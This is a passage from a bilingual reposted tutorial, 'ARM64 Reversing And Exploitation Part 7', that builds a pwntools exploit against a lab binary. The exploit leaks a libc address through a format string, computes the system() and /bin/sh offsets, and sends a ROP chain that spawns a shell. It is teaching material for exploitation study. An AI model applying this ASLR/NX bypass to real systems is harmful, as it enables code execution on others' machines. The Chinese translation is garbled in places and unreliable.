The above correction will allow us to remotely debug the binary using gdbserver and gdb-client with the port set to 5555. So the final script looks like,
上述更正将允许我们使用 gdbserver 和 gdb-client 远程调试二进制文件,并将端口设置为 5555 .所以最终的剧本是这样的,

#!/usr/bin/python3

from pwn import *

p = process(argv=["gdbserver",":5555","./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

libc_offset = 0x26DC0

gadget_offset = 0x0000000000068e40  #0x0000000000068e40: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

libc_base   = leaked_libc - libc_offset #libc_base =  leaked_address - offset

gadget_address = libc_base + gadget_offset

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

print("The libc base address is " + hex(libc_base)) #converts the value into hex

p.recvuntil(b">")

junk = b"A" * 72

p.sendline(junk + p64(gadget_address))

p.interactive() #lets you interact with  the program



Let’s run this script.
让我们运行此脚本。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

The gdbserver is now running and is awaiting connection from the gdbclient.
gdbserver 现在正在运行,正在等待来自 gdbclient 的连接。

Let’s open an another tab and start gdb.
让我们打开另一个选项卡并启动 gdb。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX
debian@debian:~/pwn/ASLR$ gdb ./bof

We can use the remote debugging feature from gef to attach to the binary via the gdbserver.
我们可以使用 gef 的远程调试功能通过 gdbserver 附加到二进制文件。

gef➤  gef-remote localhost 5555
ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

Now the remote debugging has been started. Let’s put a breakpoint at ret instruction of the echo() function.
现在远程调试已经开始。让我们在 echo() 函数的指令中 ret 放置一个断点。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

Continue using the c command.
继续使用该 c 命令。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

We have reached our breakpoint. If we step over using the ni command, we will jump to our ROP chain.
我们已经到达了断点。如果我们使用该 ni 命令跨步,我们将跳转到我们的 ROP 链。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

As you can see, we are about to execute our first ROP gadget. So, the ROP gadgets are working properly.
如您所见,我们即将执行我们的第一个 ROP 小工具。因此,ROP 小工具工作正常。

Next, let’s determine the position of our input that will be loaded into the x0 register. We need to pass the address of /bin/sh to x0, and we should overwrite x30 with the address of system(). We can achieve this by either calculating it manually or by passing a pattern. We will be passing a pattern using the tool we used earlier.
接下来,让我们确定将加载到 x0 寄存器中的输入的位置。我们需要将 的地址传递给 x0 ,并且应该 x30 用 的 system() /bin/sh 地址覆盖。我们可以通过手动计算或传递模式来实现这一点。我们将使用之前使用的工具传递模式。

#!/usr/bin/python3

from pwn import *

p = process(argv=["gdbserver",":5555","./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

libc_offset = 0x26DC0

gadget_offset = 0x0000000000068e40  #0x0000000000068e40: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

libc_base   = leaked_libc - libc_offset #libc_base =  leaked_address - offset

gadget_address = libc_base + gadget_offset

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

print("The libc base address is " + hex(libc_base)) #converts the value into hex

p.recvuntil(b">")

junk = b"A" * 72

pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3"

p.sendline(junk + p64(gadget_address) + pattern)

p.interactive() #lets you interact with  the program

Repeat the same debugging steps we did above.
重复我们上面执行的相同调试步骤。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

We had executed all the ROP instructions. Now let’s examine the registers to find the offset.
我们已经执行了所有的 ROP 指令。现在让我们检查寄存器以找到偏移量。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX
ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX
ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

So, x0 is 24 and x30 is 8. Now, the only task remaining is to determine the offsets for the /bin/sh string and system()
所以,是 24 岁, x0 是 8 岁 x30 。现在,剩下的唯一任务是确定 /bin/sh 字符串的偏移量和 system()
.

To find the offset of system(), load the binary into gdb, set a breakpoint at the main function, and then start the program. You can use the print() command to retrieve the address.
要查找 的 system() 偏移量,请将二进制文件加载到 gdb 中,在函数处 main 设置断点,然后启动程序。您可以使用该 print() 命令检索地址。

gef➤  print system
$1 = {int (const char *)} 0xfffff7e49164 <__libc_system>
gef➤  

Let’s subtract this address from the libc base to get the offset.
让我们从 libc 基数中减去这个地址以获得偏移量。

offset = leaked address - libc base

To get the libc base, we can use the vmmap command.
要获取 libc 基础,我们可以使用该 vmmap 命令。

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000aaaaaaaa0000 0x0000aaaaaaaa1000 0x0000000000000000 r-x /home/debian/pwn/ASLR/bof
0x0000aaaaaaabf000 0x0000aaaaaaac0000 0x000000000000f000 r-- /home/debian/pwn/ASLR/bof
0x0000aaaaaaac0000 0x0000aaaaaaac1000 0x0000000000010000 rw- /home/debian/pwn/ASLR/bof
0x0000fffff7e00000 0x0000fffff7f87000 0x0000000000000000 r-x /usr/lib/aarch64-linux-gnu/libc.so.6
0x0000fffff7f87000 0x0000fffff7f9d000 0x0000000000187000 --- /usr/lib/aarch64-linux-gnu/libc.so.6
0x0000fffff7f9d000 0x0000fffff7fa0000 0x000000000018d000 r-- /usr/lib/aarch64-linux-gnu/libc.so.6
0x0000fffff7fa0000 0x0000fffff7fa2000 0x0000000000190000 rw- /usr/lib/aarch64-linux-gnu/libc.so.6
0x0000fffff7fa2000 0x0000fffff7faf000 0x0000000000000000 rw-
0x0000fffff7fbe000 0x0000fffff7fe4000 0x0000000000000000 r-x /usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
0x0000fffff7ff7000 0x0000fffff7ff9000 0x0000000000000000 rw-
0x0000fffff7ff9000 0x0000fffff7ffb000 0x0000000000000000 r-- [vvar]
0x0000fffff7ffb000 0x0000fffff7ffc000 0x0000000000000000 r-x [vdso]
0x0000fffff7ffc000 0x0000fffff7ffe000 0x000000000002e000 r-- /usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
0x0000fffff7ffe000 0x0000fffff8000000 0x0000000000030000 rw- /usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
0x0000fffffffdf000 0x0001000000000000 0x0000000000000000 rw- [stack]
gef➤

The libc base is 0x0000fffff7e00000
libc 基础是 0x0000fffff7e00000
.

offset = leaked address - libc base
offset = 0xfffff7e49164 - 0x0000fffff7e00000
offset =  0x49164

So, the offset of system() is 0x49164. Now we need to find the offset of the /bin/sh string. The first question is: where should we even find this string? Fortunately for us, this string is available in our libc library. Let’s find the offset of this string. We can use the strings utility for this. You can also do this using gef.
因此,偏移 system() 量为 0x49164 。现在我们需要找到 /bin/sh 字符串的偏移量。第一个问题是:我们应该在哪里找到这个字符串?幸运的是,这个字符串在我们的 libc 库中可用。让我们找到这个字符串的偏移量。我们可以为此 strings 使用该实用程序。您也可以使用 gef 执行此操作。

fuzzing-android@fuzzingandroid:~/Desktop/tmp$ strings -t x libc.so.6 | grep -i "/bin/sh"
 14e780 /bin/sh
fuzzing-android@fuzzingandroid:~/Desktop/tmp$ 

The offset for the /bin/sh string is 0x14e780. Now we have the offsets for both the system() function and the /bin/sh string. Let’s calculate their real addresses and update our script for the final exploit.
/bin/sh 字符串的偏移量为 0x14e780 。现在我们有了 system() 函数和 /bin/sh 字符串的偏移量。让我们计算它们的真实地址并更新脚本以用于最终漏洞利用。

#!/usr/bin/python3

from pwn import *

p = process(argv=["./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

libc_offset = 0x26DC0

system_offset = 0x49164

bin_sh_offset = 0x14e780

gadget_offset = 0x0000000000068e40  #0x0000000000068e40: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

libc_base   = leaked_libc - libc_offset #libc_base =  leaked_address - offset

gadget_address = libc_base + gadget_offset

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

print("The libc base address is " + hex(libc_base)) #converts the value into hex

system_adr = libc_base + system_offset

bin_sh_adr =  libc_base + bin_sh_offset

p.recvuntil(b">")

junk = b"A" * 72

padding = b"A" * 8 # Padding to reach x0 and x30

p.sendline(junk + p64(gadget_address) + padding  + p64(system_adr) + padding + p64(bin_sh_adr) )

p.interactive() #lets you interact with  the program

We will be running this script without attaching it to the gdb server. Let’s now run the script.
我们将运行此脚本而不将其附加到 gdb 服务器。现在让我们运行脚本。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

Finally, we have successfully obtained our shell.
最后,我们成功获得了我们的外壳。

 

版权声明:admin 发表于 2023年9月6日 上午9:08。
转载请注明:ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...